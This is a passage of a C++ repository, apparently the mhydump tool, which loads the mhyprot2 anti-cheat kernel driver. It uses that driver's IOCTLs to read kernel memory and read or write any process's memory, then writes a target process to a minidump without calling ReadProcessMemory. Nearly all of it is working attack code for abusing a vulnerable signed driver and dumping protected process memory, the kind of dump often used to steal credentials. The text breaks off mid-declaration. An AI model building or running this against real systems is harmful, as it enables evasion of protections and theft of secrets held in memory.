├── KernelModuleLookup.cpp ├── KernelModuleLookup.h ├── MhyDrvIO.cpp ├── MhyDrvIO.h ├── Mhyprot2RW.cpp ├── README.md ├── mhyyuanshendump_v2.7z ├── minidump.h ├── pch.cpp ├── pch.h └── syscall.h /KernelModuleLookup.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "KernelModuleLookup.h" 4 | 5 | typedef enum _SYSTEM_INFORMATION_CLASS { 6 | SystemModuleInformation = 0xB 7 | } SYSTEM_INFORMATION_CLASS; 8 | 9 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY 10 | { 11 | ULONG Unknow1; 12 | ULONG Unknow2; 13 | ULONG Unknow3; 14 | ULONG Unknow4; 15 | PVOID Base; 16 | ULONG Size; 17 | ULONG Flags; 18 | USHORT Index; 19 | USHORT NameLength; 20 | USHORT LoadCount; 21 | USHORT ModuleNameOffset; 22 | char ImageName[256]; 23 | } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY; 24 | 25 | typedef struct _SYSTEM_MODULE_INFORMATION 26 | { 27 | ULONG Count; 28 | SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 29 | } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; 30 | 31 | typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( 32 | __in SYSTEM_INFORMATION_CLASS SystemInformationClass, 33 | __inout PVOID SystemInformation, 34 | __in ULONG SystemInformationLength, 35 | __out_opt PULONG ReturnLength 36 | ); 37 | 38 | DWORD64 LookupDriverBaseAddr(LPCSTR DriverName) 39 | { 40 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 41 | if (!hNtdll) return 0; 42 | PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); 43 | if (NtQuerySystemInformation == NULL) return 0; 44 | 45 | ULONG NeedSize, i, ModuleCount, BufferSize = 0x5000; 46 | PVOID pBuffer = NULL; 47 | PCHAR pDrvName = NULL; 48 | NTSTATUS Result; 49 | PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; 50 | do 51 | { 52 | pBuffer = calloc(1, BufferSize); 53 | if (pBuffer == NULL) return 0; 54 | 55 | Result = NtQuerySystemInformation(SystemModuleInformation, pBuffer, BufferSize, &NeedSize); 56 | if (Result == 0xC0000004L) 57 | { 58 | free(pBuffer); 59 | pBuffer = NULL; 60 | BufferSize *= 2; 61 | } 62 | else if (Result < 0) 63 | { 64 | free(pBuffer); 65 | return 0; 66 | } 67 | } while (Result == 0xC0000004L); 68 | 69 | if (pBuffer == NULL) return 0; 70 | pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)pBuffer; 71 | ModuleCount = pSystemModuleInformation->Count; 72 | 73 | for (i = 0; i < ModuleCount; i++) 74 | { 75 | if ((ULONG64)(pSystemModuleInformation->Module[i].Base) > (ULONG64)0x8000000000000000) 76 | { 77 | pDrvName = pSystemModuleInformation->Module[i].ImageName + pSystemModuleInformation->Module[i].ModuleNameOffset; 78 | if (_stricmp(pDrvName, DriverName) == 0) 79 | { 80 | return (DWORD64)pSystemModuleInformation->Module[i].Base; 81 | } 82 | } 83 | } 84 | 85 | free(pBuffer); 86 | return 0; 87 | } -------------------------------------------------------------------------------- /KernelModuleLookup.h: -------------------------------------------------------------------------------- 1 | DWORD64 LookupDriverBaseAddr(LPCSTR DriverName); 2 | -------------------------------------------------------------------------------- /MhyDrvIO.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WBGlIl/mhydump/ba43a6e6fb2b8a97b74e9ae73121fb44d6227cd0/MhyDrvIO.cpp -------------------------------------------------------------------------------- /MhyDrvIO.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | class MhyDrvIO 3 | { 4 | private: 5 | struct MHY_IO_CTL 6 | { 7 | const DWORD InitDrvSeedArray = 0x80034000; 8 | const DWORD ReadKernelMem = 0x83064000; 9 | const DWORD RWProcMem = 0x81074000; 10 | } io_ctls; 11 | typedef struct 12 | { 13 | DWORD d1; 14 | DWORD d2; 15 | DWORD64 q1; 16 | } InitSeedData, * PInitSeedData; 17 | typedef struct 18 | { 19 | union _HeadData 20 | { 21 | DWORD result; 22 | DWORD64 KernelAddr; 23 | } HeadData; 24 | ULONG Size; 25 | } ReadKernelData, * PReadKernelData; 26 | typedef struct 27 | { 28 | DWORD64 randomKey; 29 | DWORD Action; 30 | DWORD Unknown0; 31 | DWORD PID; 32 | DWORD Unknown1; 33 | DWORD64 DestAddr; 34 | DWORD64 SrcAddr; 35 | ULONG Size; 36 | ULONG Unknown2; 37 | } ReadWriteProcData, * PReadWriteProcData; 38 | const char* drvFileName = NULL; 39 | const char* ioFileName = "\\\\?\\\\mhyprot2"; 40 | const char* serviceName = "mhyprot2"; 41 | const char* drvSysName = "mhyprot2.Sys"; 42 | HANDLE hDevice = NULL; 43 | DWORD64 seedmap[312] = { 0 }; 44 | 45 | bool InitDrv(); 46 | void UnloadDrv(); 47 | bool ConnectDrv(); 48 | bool SetupDrv(); 49 | DWORD64 GetKey(DWORD64 seed); 50 | void CryptData(PVOID data, DWORD size); 51 | bool IoControl(DWORD ControlCode, PVOID Data, DWORD Size); 52 | bool InitSeedArray(); 53 | public: 54 | MhyDrvIO(const char* drvFileNameIn) 55 | { 56 | if (!drvFileNameIn) throw "drvFileName can not be null"; 57 | this->drvFileName = drvFileNameIn; 58 | this->InitDrv(); 59 | } 60 | ~MhyDrvIO() 61 | { 62 | this->UnloadDrv(); 63 | } 64 | bool ReadKernelMem(DWORD64 addr, DWORD size, void* outBuff); 65 | bool ReadProcMem(DWORD pid, DWORD64 addr, DWORD size, void* outBuff); 66 | bool WriteProcMem(DWORD pid, DWORD64 addr, DWORD size, void* inBuff); 67 | }; 68 | 69 | -------------------------------------------------------------------------------- /Mhyprot2RW.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "minidump.h" 7 | #include"syscall.h" 8 | #pragma comment(lib, "dbghelp.lib") 9 | #pragma comment(lib, "psapi.lib") 10 | #pragma comment(lib, "Version.lib") 11 | #include "MhyDrvIO.h" 12 | MhyDrvIO* pdrvCtl1; 13 | 14 | static BOOL NTAPI FindModule(IN HANDLE hProcess,IN HMODULE hModule OPTIONAL,OUT PLDR_DATA_TABLE_ENTRY1 Module) 15 | { 16 | DWORD Count; 17 | NTSTATUS Status; 18 | PPEB_LDR_DATA LoaderData; 19 | PLIST_ENTRY ListHead, ListEntry; 20 | PROCESS_BASIC_INFORMATION1 ProcInfo; 21 | 22 | /* Query the process information to get its PEB address */ 23 | Status = My_NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(ProcInfo), NULL); 24 | if (!NT_SUCCESS(Status)) 25 | { 26 | //SetLastError(RtlNtStatusToDosError(Status)); 27 | printf("SetLastError(RtlNtStatusToDosError(Status));"); 28 | return FALSE; 29 | } 30 | 31 | /* If no module was provided, get base as module */ 32 | if (hModule == NULL) 33 | { 34 | //read_process_memory(GetProcessId(hProcess) 35 | //if (!ReadProcessMemory(hProcess, &ProcInfo.PebBaseAddress->ImageBaseAddress, &hModule, sizeof(hModule), NULL)) 36 | if (!read_process_memory(GetProcessId(hProcess), (UINT64)(&ProcInfo.PebBaseAddress->ImageBaseAddress), &hModule, sizeof(hModule))) 37 | { 38 | return FALSE; 39 | } 40 | } 41 | 42 | /* Read loader data address from PEB */ 43 | //if (!ReadProcessMemory(hProcess, &ProcInfo.PebBaseAddress->Ldr, &LoaderData, sizeof(LoaderData), NULL)) 44 | if (!read_process_memory(GetProcessId(hProcess), (UINT64)(&ProcInfo.PebBaseAddress->Ldr), &LoaderData, sizeof(LoaderData))) 45 | { 46 | return FALSE; 47 | } 48 | 49 | if (LoaderData == NULL) 50 | { 51 | SetLastError(ERROR_INVALID_HANDLE); 52 | return FALSE; 53 | } 54 | 55 | /* Store list head address */ 56 | ListHead = &(LoaderData->InMemoryOrderModuleList); 57 | 58 | /* Read first element in the modules list */ 59 | //if (!ReadProcessMemory(hProcess, 60 | if (!read_process_memory(GetProcessId(hProcess), 61 | (UINT64)(&(LoaderData->InMemoryOrderModuleList.Flink)), 62 | &ListEntry, 63 | sizeof(ListEntry))) 64 | { 65 | return FALSE; 66 | } 67 | 68 | Count = 0; 69 | 70 | /* Loop on the modules */ 71 | while (ListEntry != ListHead) 72 | { 73 | /* Load module data */ 74 | //if (!ReadProcessMemory(hProcess, 75 | if (!read_process_memory(GetProcessId(hProcess), 76 | (UINT64)CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY1, InMemoryOrderModuleList), 77 | Module, 78 | sizeof(*Module))) 79 | { 80 | return FALSE; 81 | } 82 | 83 | /* Does that match the module we're looking for? */ 84 | if (Module->DllBase == hModule) 85 | { 86 | return TRUE; 87 | } 88 | 89 | ++Count; 90 | if (Count > MAX_MODULES) 91 | { 92 | break; 93 | } 94 | 95 | /* Get to next listed module */ 96 | ListEntry = Module->InMemoryOrderModuleList.Flink; 97 | } 98 | 99 | SetLastError(ERROR_INVALID_HANDLE); 100 | return FALSE; 101 | } 102 | 103 | BOOL fetch_process_info(struct dump_context* dc) 104 | { 105 | ULONG buf_size = 0x1000; 106 | NTSTATUS nts; 107 | SYSTEM_PROCESS_INFORMATION1* pcs_buffer; 108 | 109 | if (!(pcs_buffer = (SYSTEM_PROCESS_INFORMATION1*)HeapAlloc(GetProcessHeap(), 0, buf_size))) 110 | return FALSE; 111 | 112 | for (;;) 113 | { 114 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 115 | if (!hNtdll) return 0; 116 | PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); 117 | if (NtQuerySystemInformation == NULL) return 0; 118 | nts = NtQuerySystemInformation(SystemProcessInformation, pcs_buffer, buf_size, NULL); 119 | if (nts != 0xC0000004L) 120 | break; 121 | 122 | pcs_buffer = (SYSTEM_PROCESS_INFORMATION1*)HeapReAlloc(GetProcessHeap(), 0, pcs_buffer, buf_size *= 2); 123 | if (!pcs_buffer) 124 | return FALSE; 125 | } 126 | 127 | if (nts == 0) 128 | { 129 | SYSTEM_PROCESS_INFORMATION1* spi = pcs_buffer; 130 | 131 | for (;;) 132 | { 133 | if (HandleToUlong(spi->UniqueProcessId) == dc->pid) 134 | { 135 | dc->num_threads = spi->NumberOfThreads; 136 | dc->threads = (dump_thread*)HeapAlloc(GetProcessHeap(), 0, dc->num_threads * sizeof(dc->threads[0])); 137 | if (!dc->threads) 138 | goto failed; 139 | 140 | HeapFree(GetProcessHeap(), 0, pcs_buffer); 141 | return TRUE; 142 | } 143 | 144 | if (!spi->NextEntryOffset) 145 | break; 146 | 147 | spi = (SYSTEM_PROCESS_INFORMATION1*)((char*)spi + spi->NextEntryOffset); 148 | } 149 | } 150 | 151 | failed: 152 | HeapFree(GetProcessHeap(), 0, pcs_buffer); 153 | return FALSE; 154 | } 155 | 156 | void writeat(struct dump_context* dc, RVA rva, const void* data, unsigned size) 157 | { 158 | DWORD written; 159 | 160 | SetFilePointer(dc->hFile, rva, NULL, FILE_BEGIN); 161 | WriteFile(dc->hFile, data, size, &written, NULL); 162 | } 163 | 164 | void append(struct dump_context* dc, const void* data, unsigned size) 165 | { 166 | writeat(dc, dc->rva, data, size); 167 | dc->rva += size; 168 | } 169 | 170 | unsigned dump_system_info(struct dump_context* dc) 171 | { 172 | MINIDUMP_SYSTEM_INFO mdSysInfo; 173 | SYSTEM_INFO sysInfo; 174 | OSVERSIONINFOW osInfo; 175 | DWORD written; 176 | ULONG slen; 177 | DWORD wine_extra = 0; 178 | 179 | const char* build_id = NULL; 180 | const char* sys_name = NULL; 181 | const char* release_name = NULL; 182 | 183 | GetSystemInfo(&sysInfo); 184 | osInfo.dwOSVersionInfoSize = sizeof(osInfo); 185 | 186 | typedef int(WINAPI* RtlGetNtVersionNumbers)(PDWORD, PDWORD, PDWORD); 187 | 188 | HINSTANCE hinst = LoadLibrary("ntdll.dll"); 189 | DWORD dwMajor, dwMinor, dwBuildNumber; 190 | RtlGetNtVersionNumbers proc = (RtlGetNtVersionNumbers)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); 191 | proc(&dwMajor, &dwMinor, &dwBuildNumber); 192 | dwBuildNumber &= 0xffff; 193 | printf("OS Version: %d.%d.%d\n", dwMajor, dwMinor, dwBuildNumber); 194 | FreeLibrary(hinst); 195 | 196 | mdSysInfo.ProcessorArchitecture = sysInfo.wProcessorArchitecture; 197 | mdSysInfo.ProcessorLevel = sysInfo.wProcessorLevel; 198 | mdSysInfo.ProcessorRevision = sysInfo.wProcessorRevision; 199 | mdSysInfo.NumberOfProcessors = (UCHAR)sysInfo.dwNumberOfProcessors; 200 | mdSysInfo.ProductType = VER_NT_WORKSTATION; /* This might need fixing */ 201 | mdSysInfo.MajorVersion = dwMajor; 202 | mdSysInfo.MinorVersion = dwMinor; 203 | mdSysInfo.BuildNumber = dwBuildNumber; 204 | mdSysInfo.PlatformId = 0x2; 205 | 206 | mdSysInfo.CSDVersionRva = dc->rva + sizeof(mdSysInfo) + wine_extra; 207 | mdSysInfo.Reserved1 = 0; 208 | mdSysInfo.SuiteMask = VER_SUITE_TERMINAL; 209 | 210 | unsigned i; 211 | ULONG64 one = 1; 212 | 213 | mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0; 214 | mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0; 215 | 216 | for (i = 0; i < sizeof(mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) 217 | if (IsProcessorFeaturePresent(i)) 218 | mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= one << i; 219 | 220 | append(dc, &mdSysInfo, sizeof(mdSysInfo)); 221 | 222 | const WCHAR* szCSDVersion = L""; 223 | slen = lstrlenW(szCSDVersion) * sizeof(WCHAR); 224 | WriteFile(dc->hFile, &slen, sizeof(slen), &written, NULL); 225 | WriteFile(dc->hFile, szCSDVersion, slen, &written, NULL); 226 | dc->rva += sizeof(ULONG) + slen; 227 | 228 | return sizeof(mdSysInfo); 229 | } 230 | 231 | void minidump_add_memory_block(struct dump_context* dc, ULONG64 base, ULONG size, ULONG rva) 232 | { 233 | if (!dc->mem) 234 | { 235 | dc->alloc_mem = 32; 236 | dc->mem = (dump_memory*)HeapAlloc(GetProcessHeap(), 0, dc->alloc_mem * sizeof(*dc->mem)); 237 | } 238 | else if (dc->num_mem >= dc->alloc_mem) 239 | { 240 | dc->alloc_mem *= 2; 241 | dc->mem = (dump_memory*)HeapReAlloc(GetProcessHeap(), 0, dc->mem, dc->alloc_mem * sizeof(*dc->mem)); 242 | } 243 | if (dc->mem) 244 | { 245 | dc->mem[dc->num_mem].base = base; 246 | dc->mem[dc->num_mem].size = size; 247 | dc->mem[dc->num_mem].rva = rva; 248 | dc->num_mem++; 249 | } 250 | else 251 | dc->num_mem = dc->alloc_mem = 0; 252 | } 253 | 254 | void minidump_add_memory64_block(struct dump_context* dc, ULONG64 base, ULONG64 size) 255 | { 256 | if (!dc->mem64) 257 | { 258 | dc->alloc_mem64 = 32; 259 | dc->mem64 =(dump_memory64*) HeapAlloc(GetProcessHeap(), 0, dc->alloc_mem64 * sizeof(*dc->mem64)); 260 | } 261 | else if (dc->num_mem64 >= dc->alloc_mem64) 262 | { 263 | dc->alloc_mem64 *= 2; 264 | dc->mem64 = (dump_memory64*)HeapReAlloc(GetProcessHeap(), 0, dc->mem64, dc->alloc_mem64 * sizeof(*dc->mem64)); 265 | } 266 | if (dc->mem64) 267 | { 268 | dc->mem64[dc->num_mem64].base = base; 269 | dc->mem64[dc->num_mem64].size = size; 270 | dc->num_mem64++; 271 | } 272 | else 273 | dc->num_mem64 = dc->alloc_mem64 = 0; 274 | } 275 | 276 | void fetch_memory64_info(struct dump_context* dc) 277 | { 278 | ULONG_PTR addr; 279 | MEMORY_BASIC_INFORMATION mbi; 280 | 281 | addr = 0; 282 | while (VirtualQueryEx(dc->handle, (LPCVOID)addr, &mbi, sizeof(mbi)) != 0) 283 | { 284 | /* Memory regions with state MEM_COMMIT will be added to the dump */ 285 | if (mbi.State == MEM_COMMIT) 286 | minidump_add_memory64_block(dc, (ULONG_PTR)mbi.BaseAddress, mbi.RegionSize); 287 | 288 | if ((addr + mbi.RegionSize) < addr) 289 | break; 290 | 291 | addr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; 292 | } 293 | } 294 | 295 | BOOL read_process_memory(DWORD id, UINT64 addr, void* buf, size_t size) 296 | { 297 | NTSTATUS res =(pdrvCtl1->ReadProcMem(id, addr, size, buf)); 298 | //if (!res) 299 | //{ 300 | // printf("成功\n"); 301 | //} 302 | //else 303 | //{ 304 | // printf("失败\n"); 305 | //} 306 | return !res; 307 | } 308 | 309 | unsigned dump_memory64_info(struct dump_context* dc) 310 | { 311 | MINIDUMP_MEMORY64_LIST mdMem64List; 312 | MINIDUMP_MEMORY_DESCRIPTOR64 mdMem64; 313 | DWORD written; 314 | unsigned i, len, sz; 315 | RVA rva_base; 316 | char tmp[1024]; 317 | ULONG64 pos; 318 | LARGE_INTEGER filepos; 319 | 320 | sz = sizeof(mdMem64List.NumberOfMemoryRanges) + sizeof(mdMem64List.BaseRva) + dc->num_mem64 * sizeof(mdMem64); 321 | 322 | mdMem64List.NumberOfMemoryRanges = dc->num_mem64; 323 | mdMem64List.BaseRva = dc->rva + sz; 324 | 325 | append(dc, &mdMem64List.NumberOfMemoryRanges, sizeof(mdMem64List.NumberOfMemoryRanges)); 326 | append(dc, &mdMem64List.BaseRva, sizeof(mdMem64List.BaseRva)); 327 | 328 | rva_base = dc->rva; 329 | dc->rva += dc->num_mem64 * sizeof(mdMem64); 330 | 331 | /* dc->rva is not updated past this point. The end of the dump 332 | * is just the full memory data. */ 333 | filepos.QuadPart = dc->rva; 334 | for (i = 0; i < dc->num_mem64; i++) 335 | { 336 | mdMem64.StartOfMemoryRange = dc->mem64[i].base; 337 | mdMem64.DataSize = dc->mem64[i].size; 338 | SetFilePointerEx(dc->hFile, filepos, NULL, FILE_BEGIN); 339 | for (pos = 0; pos < dc->mem64[i].size; pos += sizeof(tmp)) 340 | { 341 | len = (unsigned)(min(dc->mem64[i].size - pos, sizeof(tmp))); 342 | if (read_process_memory(dc->pid, dc->mem64[i].base + pos, tmp, len)) 343 | WriteFile(dc->hFile, tmp, len, &written, NULL); 344 | } 345 | filepos.QuadPart += mdMem64.DataSize; 346 | writeat(dc, rva_base + i * sizeof(mdMem64), &mdMem64, sizeof(mdMem64)); 347 | } 348 | 349 | return sz; 350 | } 351 | 352 | void fetch_module_versioninfo(LPCWSTR filename, VS_FIXEDFILEINFO* ffi) 353 | { 354 | DWORD handle; 355 | DWORD sz; 356 | static const WCHAR backslashW[] = { '\\', '\0' }; 357 | 358 | memset(ffi, 0, sizeof(*ffi)); 359 | if ((sz = GetFileVersionInfoSizeW(filename, &handle))) 360 | { 361 | void* info = HeapAlloc(GetProcessHeap(), 0, sz); 362 | if (info && GetFileVersionInfoW(filename, handle, sz, info)) 363 | { 364 | VS_FIXEDFILEINFO* ptr; 365 | UINT len; 366 | 367 | if (VerQueryValueW(info, backslashW, (LPVOID*)&ptr, &len)) 368 | memcpy(ffi, ptr, min(len, sizeof(*ffi))); 369 | } 370 | HeapFree(GetProcessHeap(), 0, info); 371 | } 372 | } 373 | 374 | unsigned dump_modules(struct dump_context* dc, BOOL dump_elf) 375 | { 376 | MINIDUMP_MODULE mdModule; 377 | MINIDUMP_MODULE_LIST mdModuleList; 378 | char tmp[1024]; 379 | MINIDUMP_STRING* ms = (MINIDUMP_STRING*)tmp; 380 | ULONG i, nmod; 381 | RVA rva_base; 382 | DWORD flags_out; 383 | unsigned sz; 384 | 385 | for (i = nmod = 0; i < dc->num_modules; i++) 386 | { 387 | if ((dc->modules[i].is_elf && dump_elf) || 388 | (!dc->modules[i].is_elf && !dump_elf)) 389 | nmod++; 390 | } 391 | 392 | mdModuleList.NumberOfModules = 0; 393 | rva_base = dc->rva; 394 | dc->rva += sz = sizeof(mdModuleList.NumberOfModules) + sizeof(mdModule) * nmod; 395 | 396 | for (i = 0; i < dc->num_modules; i++) 397 | { 398 | if ((dc->modules[i].is_elf && !dump_elf) || 399 | (!dc->modules[i].is_elf && dump_elf)) 400 | continue; 401 | 402 | flags_out = ModuleWriteModule | ModuleWriteMiscRecord | ModuleWriteCvRecord; 403 | if (dc->type & MiniDumpWithDataSegs) 404 | flags_out |= ModuleWriteDataSeg; 405 | if (dc->type & MiniDumpWithProcessThreadData) 406 | flags_out |= ModuleWriteTlsData; 407 | if (dc->type & MiniDumpWithCodeSegs) 408 | flags_out |= ModuleWriteCodeSegs; 409 | 410 | ms->Length = (lstrlenW(dc->modules[i].name) + 1) * sizeof(WCHAR); 411 | 412 | lstrcpyW(ms->Buffer, dc->modules[i].name); 413 | 414 | if (flags_out & ModuleWriteModule) 415 | { 416 | mdModule.BaseOfImage = dc->modules[i].base; 417 | mdModule.SizeOfImage = dc->modules[i].size; 418 | mdModule.CheckSum = dc->modules[i].checksum; 419 | mdModule.TimeDateStamp = dc->modules[i].timestamp; 420 | mdModule.ModuleNameRva = dc->rva; 421 | ms->Length -= sizeof(WCHAR); 422 | append(dc, ms, sizeof(ULONG) + ms->Length + sizeof(WCHAR)); 423 | fetch_module_versioninfo(ms->Buffer, &mdModule.VersionInfo); 424 | mdModule.CvRecord.DataSize = 0; 425 | mdModule.CvRecord.Rva = 0; 426 | mdModule.MiscRecord.DataSize = 0; 427 | mdModule.MiscRecord.Rva = 0; 428 | mdModule.Reserved0 = 0; 429 | mdModule.Reserved1 = 0; 430 | writeat(dc, 431 | rva_base + sizeof(mdModuleList.NumberOfModules) + 432 | mdModuleList.NumberOfModules++ * sizeof(mdModule), 433 | &mdModule, sizeof(mdModule)); 434 | } 435 | } 436 | writeat(dc, rva_base, &mdModuleList.NumberOfModules, sizeof(mdModuleList.NumberOfModules)); 437 | 438 | return sz; 439 | } 440 | 441 | BOOL validate_addr64(DWORD64 addr) 442 | { 443 | if (sizeof(void*) == sizeof(int) && (addr >> 32)) 444 | { 445 | SetLastError(ERROR_INVALID_PARAMETER); 446 | return FALSE; 447 | } 448 | return TRUE; 449 | } 450 | 451 | BOOL pe_load_nt_header(DWORD hProc, DWORD64 base, IMAGE_NT_HEADERS* nth) 452 | { 453 | IMAGE_DOS_HEADER dos; 454 | 455 | NTSTATUS res = read_process_memory(hProc, base, &dos, sizeof(dos)); 456 | NTSTATUS res2 = read_process_memory(hProc, (base + dos.e_lfanew), nth, sizeof(*nth)); 457 | 458 | return res && dos.e_magic == IMAGE_DOS_SIGNATURE && res2 && nth->Signature == IMAGE_NT_SIGNATURE; 459 | } 460 | 461 | DWORD WINAPI myGetModuleFileNameExW(HANDLE hProcess,HMODULE hModule,LPWSTR lpFilename,DWORD nSize) 462 | { 463 | DWORD Len; 464 | LDR_DATA_TABLE_ENTRY1 Module; 465 | 466 | /* Get the matching module */ 467 | if (!FindModule(hProcess, hModule, &Module)) 468 | { 469 | return 0; 470 | } 471 | 472 | /* Get the maximum len we have/can write in given size */ 473 | Len = Module.FullDllName.Length + sizeof(UNICODE_NULL); 474 | if (nSize * sizeof(WCHAR) < Len) 475 | { 476 | Len = nSize * sizeof(WCHAR); 477 | } 478 | 479 | /* Read string */ 480 | //if (!ReadProcessMemory(hProcess, (&Module.FullDllName)->Buffer, lpFilename, Len, NULL)) 481 | if (!read_process_memory(GetProcessId(hProcess), (UINT64)(&Module.FullDllName)->Buffer, lpFilename, Len)) 482 | { 483 | return 0; 484 | } 485 | 486 | /* If we are at the end of the string, prepare to override to nullify string */ 487 | if (Len == Module.FullDllName.Length + sizeof(UNICODE_NULL)) 488 | { 489 | Len -= sizeof(UNICODE_NULL); 490 | } 491 | 492 | /* Nullify at the end if needed */ 493 | if (Len >= nSize * sizeof(WCHAR)) 494 | { 495 | if (nSize) 496 | { 497 | ASSERT(nSize >= sizeof(UNICODE_NULL)); 498 | lpFilename[nSize - 1] = UNICODE_NULL; 499 | } 500 | } 501 | /* Otherwise, nullify at last written char */ 502 | else 503 | { 504 | ASSERT(Len + sizeof(UNICODE_NULL) <= nSize * sizeof(WCHAR)); 505 | lpFilename[Len / sizeof(WCHAR)] = UNICODE_NULL; 506 | } 507 | 508 | return Len / sizeof(WCHAR); 509 | } 510 | 511 | BOOL add_module(struct dump_context* dc, const WCHAR* name, DWORD64 base, DWORD size, DWORD timestamp, DWORD checksum, BOOL is_elf) 512 | { 513 | if (!dc->modules) 514 | { 515 | dc->alloc_modules = 32; 516 | dc->modules = (dump_module*)HeapAlloc(GetProcessHeap(), 0, dc->alloc_modules * sizeof(*dc->modules)); 517 | } 518 | else if (dc->num_modules >= dc->alloc_modules) 519 | { 520 | dc->alloc_modules *= 2; 521 | dc->modules = (dump_module*)HeapReAlloc(GetProcessHeap(), 0, dc->modules, dc->alloc_modules * sizeof(*dc->modules)); 522 | } 523 | if (!dc->modules) 524 | { 525 | dc->alloc_modules = dc->num_modules = 0; 526 | return FALSE; 527 | } 528 | 529 | myGetModuleFileNameExW(dc->handle, (HMODULE)(DWORD_PTR)base, dc->modules[dc->num_modules].name, ARRAY_SIZE(dc->modules[dc->num_modules].name)); 530 | 531 | dc->modules[dc->num_modules].base = base; 532 | dc->modules[dc->num_modules].size = size; 533 | dc->modules[dc->num_modules].timestamp = timestamp; 534 | dc->modules[dc->num_modules].checksum = checksum; 535 | dc->modules[dc->num_modules].is_elf = is_elf; 536 | dc->num_modules++; 537 | 538 | return TRUE; 539 | } 540 | 541 | BOOL fetch_pe_module_info_cb(PCWSTR name, DWORD64 base, ULONG size, PVOID user) 542 | { 543 | struct dump_context* dc = (dump_context*)user; 544 | IMAGE_NT_HEADERS nth; 545 | 546 | if (!validate_addr64(base)) 547 | return FALSE; 548 | 549 | if (pe_load_nt_header(dc->pid, base, &nth)) 550 | add_module((dump_context*)user, name, base, size, nth.FileHeader.TimeDateStamp, nth.OptionalHeader.CheckSum, FALSE); 551 | 552 | return TRUE; 553 | } 554 | 555 | BOOL WINAPI my_EnumProcessModules(HANDLE hProcess,HMODULE *lphModule,DWORD cb,LPDWORD lpcbNeeded) 556 | { 557 | NTSTATUS Status; 558 | DWORD NbOfModules, Count; 559 | PPEB_LDR_DATA1 LoaderData; 560 | PLIST_ENTRY ListHead, ListEntry; 561 | PROCESS_BASIC_INFORMATION ProcInfo; 562 | LDR_DATA_TABLE_ENTRY1 CurrentModule; 563 | 564 | 565 | My_NtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(LoadLibraryA("Ntdll.dll"), "NtQueryInformationProcess"); 566 | /* Query the process information to get its PEB address */ 567 | Status = My_NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(ProcInfo), NULL); 568 | if (!NT_SUCCESS(Status)) 569 | { 570 | //SetLastError(RtlNtStatusToDosError(Status)); 571 | printf("SetLastError(RtlNtStatusToDosError(Status))"); 572 | return FALSE; 573 | } 574 | 575 | if (ProcInfo.PebBaseAddress == NULL) 576 | { 577 | printf("SetLastError(RtlNtStatusToDosError(STATUS_PARTIAL_COPY))"); 578 | //SetLastError(RtlNtStatusToDosError(STATUS_PARTIAL_COPY)); 579 | return FALSE; 580 | } 581 | //read_process_memory GetProcessId 582 | 583 | /* Read loader data address from PEB */ 584 | //if (!ReadProcessMemory(hProcess, &ProcInfo.PebBaseAddress->Ldr, &LoaderData, sizeof(LoaderData), NULL)) 585 | if (!read_process_memory(GetProcessId(hProcess), (UINT64)(&ProcInfo.PebBaseAddress->Ldr), &LoaderData, sizeof(LoaderData))) 586 | { 587 | return FALSE; 588 | } 589 | 590 | /* Store list head address */ 591 | ListHead = &LoaderData->InLoadOrderModuleList; 592 | 593 | /* Read first element in the modules list */ 594 | //if (!ReadProcessMemory(hProcess, &LoaderData->InLoadOrderModuleList.Flink, &ListEntry, sizeof(ListEntry), NULL)) 595 | if (!read_process_memory(GetProcessId(hProcess), (UINT64)(&LoaderData->InLoadOrderModuleList.Flink), &ListEntry, sizeof(ListEntry))) 596 | { 597 | return FALSE; 598 | } 599 | 600 | NbOfModules = cb / sizeof(HMODULE); 601 | Count = 0; 602 | 603 | /* Loop on the modules */ 604 | while (ListEntry != ListHead) 605 | { 606 | /* Load module data */ 607 | //if (!ReadProcessMemory(hProcess, 608 | if (!read_process_memory(GetProcessId(hProcess), 609 | (UINT64)CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY1, InLoadOrderLinks), 610 | &CurrentModule, 611 | sizeof(CurrentModule))) 612 | { 613 | return FALSE; 614 | } 615 | 616 | /* Check if we can output module, do it if so */ 617 | if (Count < NbOfModules) 618 | { 619 | lphModule[Count] = (HMODULE)CurrentModule.DllBase; 620 | } 621 | 622 | ++Count; 623 | if (Count > MAX_MODULES) 624 | { 625 | SetLastError(ERROR_INVALID_HANDLE); 626 | return FALSE; 627 | } 628 | 629 | /* Get to next listed module */ 630 | ListEntry = CurrentModule.InLoadOrderLinks.Flink; 631 | } 632 | *lpcbNeeded = Count * sizeof(HMODULE); 633 | 634 | return TRUE; 635 | } 636 | 637 | static int match_ext(const WCHAR* ptr, size_t len) 638 | { 639 | const WCHAR* const *e; 640 | size_t l; 641 | 642 | for (e = ext; *e; e++) 643 | { 644 | l = lstrlenW(*e); 645 | if (l >= len) return 0; 646 | if (wcsnicmp(&ptr[len - l], *e, l)) continue; 647 | return l; 648 | } 649 | return 0; 650 | } 651 | 652 | static const 